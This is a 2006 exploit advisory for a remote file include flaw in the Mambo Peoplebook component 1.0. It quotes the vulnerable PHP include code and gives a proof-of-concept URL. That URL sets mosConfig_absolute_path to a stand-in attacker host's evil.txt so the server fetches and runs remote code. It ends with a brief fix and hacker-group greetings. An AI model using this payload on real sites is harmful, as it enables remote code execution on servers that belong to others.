Mambo Peoplebook Component 1.0 Remote File Include Vulnerability

--------------------------------------------------------------------------- Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities --------------------------------------------------------------------------- Author : Matdhule Date : August, 14th 2006 Location : Indonesia, Jakarta Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Peoplebook Component Application : Peoplebook Component version : 1.0 URL : www.mamboforge.net/projects/peoplebook --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ in folder com_peoplebook we found vulnerability script param.peoplebook.php. -----------------------param.peoplebook.php---------------------- .... <?php if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) { require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php'); } else { require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php'); } ... ---------------------------------------------------------- Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Proof Of Concept: ~~~~~~~~~~~~~~~ http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= http://attacker.com/evil.txt? Solution: ~~~~~~~ sanitize variabel $mosConfig_absolute_path in param.peoplebook.php --------------------------------------------------------------------------- Shoutz: ~~~~~ ~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com ~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ] ----------------------------------